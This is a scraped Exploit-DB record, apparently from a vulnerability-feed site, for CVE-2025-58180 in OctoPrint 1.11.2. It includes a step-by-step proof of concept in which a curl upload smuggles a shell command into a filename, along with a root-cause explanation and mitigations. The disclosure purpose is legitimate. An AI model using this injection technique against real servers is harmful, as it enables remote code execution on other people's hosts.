{“lastseen”:”2026-02-04T13:28:43″,”description”:”Exploit Title: OctoPrint 1.11.2 – File Upload Date: 2025-09-28 Exploit Author: prabhatverma.addada Vendor Homepage: https:\/\/octoprint.org Software Link: https:\/\/github.com\/OctoPrint\/OctoPrint Affected Versions: = 1.11.2 Patched Versions: 1.11.3 CVE:…”,”published”:”2026-02-04T00:00:00″,”modified”:”2026-02-04T00:00:00″,”type”:”exploitdb”,”title”:”OctoPrint 1.11.2 – File Upload”,”source”:””,”references”:””,”id”:”EDB-ID:52476″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-58180″],”sourceData”:”# Exploit Title: OctoPrint 1.11.2 – File Upload \\r\\n# Date: 2025-09-28\\r\\n# Exploit Author: prabhatverma.addada\\r\\n# Vendor Homepage: https:\/\/octoprint.org\\r\\n# Software Link: https:\/\/github.com\/OctoPrint\/OctoPrint\\r\\n# Affected Version(s): \\u003c= 1.11.2\\r\\n# Patched Version(s): 1.11.3\\r\\n# CVE: CVE-2025-58180\\r\\n# CVSS (per advisory): 7.5\\r\\n# Platform: Linux \/ OctoPrint server\\r\\n# Type: Remote Code Execution (requires authenticated upload \/ API key or session)\\r\\n#\\r\\n# Short description:\\r\\n# An authenticated attacker with file-upload access can craft a filename containing shell metacharacters (e.g. ‘;’, ${IFS}) which bypasses filename\\r\\n# sanitization and, when interpolated into a configured system event handler command, results in arbitrary command execution on the host.\\r\\n#\\r\\n# Scope \\u0026 privileges:\\r\\n# – Trigger privileges: Authenticated file-upload (API key or valid session). NO admin\/root required to trigger the attack.\\r\\n# – Precondition: A system event handler that executes shell commands using filename\/path placeholders must be configured by an administrator.\\r\\n#\\r\\n# Tested on:\\r\\n# – OctoPrint 1.11.2 running via `octoprint serve –port 5000` on Ubuntu 22.04\\r\\n#\\r\\n# Reproduction \/ PoC (manual):\\r\\n#\\r\\n# 1) Start OctoPrint 1.11.2:\\r\\n# octoprint serve –port 5000 –debug\\r\\n# Complete initial setup at http:\/\/127.0.0.1:5000 and create an admin user.\\r\\n#\\r\\n# 2) Configure a system event handler that runs shell commands with filename placeholders:\\r\\n# Edit ~\/.octoprint\/config.yaml and add:\\r\\n#\\r\\n# events:\\r\\n# enabled: true\\r\\n# subscriptions:\\r\\n# – event: FileAdded\\r\\n# type: system\\r\\n# debug: true\\r\\n# command: \\”{path}\\”\\r\\n#\\r\\n# Restart OctoPrint.\\r\\n#\\r\\n# 3) Create a harmless test gcode:\\r\\n# mkdir -p \/tmp\/gcode\\r\\n# cat \\u003e \/tmp\/gcode\/ok.gcode \\u003c\\u003c’EOF’\\r\\n# ; minimal gcode\\r\\n# G28\\r\\n# M105\\r\\n# EOF\\r\\n#\\r\\n# 4) Obtain API key from Settings -\\u003e API and export it:\\r\\n# export API_KEY=’\\u003cyour_api_key_here\\u003e’\\r\\n#\\r\\n# 5) Ensure target proof file does not exist:\\r\\n# ls -la \/tmp\/test123\\r\\n#\\r\\n# 6) PoC upload (non-destructive proof):\\r\\n# INJECT_NAME=’octo;touch${IFS}\/tmp\/test123;#.gcode’\\r\\n#\\r\\n# curl -sS -X POST -H \\”X-Api-Key: $API_KEY\\” \\\\\\r\\n# -F \\”file=@\/tmp\/gcode\/ok.gcode;filename=\\\\\\”${INJECT_NAME}\\\\\\”\\” \\\\\\r\\n# \\”http:\/\/127.0.0.1:5000\/api\/files\/local\\”\\r\\n#\\r\\n# 7) Verify execution:\\r\\n# ls -la \/tmp\/test123\\r\\n# If \/tmp\/test123 exists, the injected command executed and RCE is demonstrated.\\r\\n#\\r\\n# Explanation:\\r\\n# – OctoPrint accepted the uploaded filename (sanitize_name allowed these characters in default config).\\r\\n# – FileAdded event payload contains the filename\/path.\\r\\n# – A system event subscriber executed a shell command with that placeholder via subprocess with shell=True and without placeholder escaping.\\r\\n# – Shell metacharacters in the filename are interpreted by the shell and executed.\\r\\n#\\r\\n# Mitigations \/ Workarounds:\\r\\n# – Upgrade OctoPrint to 1.11.3 (patched).\\r\\n# – Disable event handlers using filename placeholders (set enabled: false or uncheck in GUI Event Manager).\\r\\n# – Set feature.enforceReallyUniversalFilenames: true in config.yaml and vet existing uploads.\\r\\n# – Do not expose OctoPrint to hostile networks; restrict upload access.\\r\\n#\\r\\n# References:\\r\\n# – GitHub Security Advisory: https:\/\/github.com\/OctoPrint\/OctoPrint\/security\/advisories\/GHSA-49mj-x8jp-qvfc\\r\\n# – PoC repo: https:\/\/github.com\/prabhatverma47\/CVE-2025-58180\\r\\n#\\r\\n# Notes for triage:\\r\\n# – Exploit requires only authenticated upload privileges to trigger. No admin\/root required to perform the attack.\\r\\n# – PoC uses non-destructive `touch \/tmp\/test123`.”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52476″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52476″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-04T13:28:43″,”description”:”Exploit Title: OctoPrint 1.11.2 – File Upload Date: 2025-09-28 Exploit Author: prabhatverma.addada Vendor Homepage: https:\/\/octoprint.org Software Link: https:\/\/github.com\/OctoPrint\/OctoPrint Affected Versions: = 1.11.2 Patched Versions: 1.11.3…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,40,15,13,7,11,5],"class_list":["post-39000","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n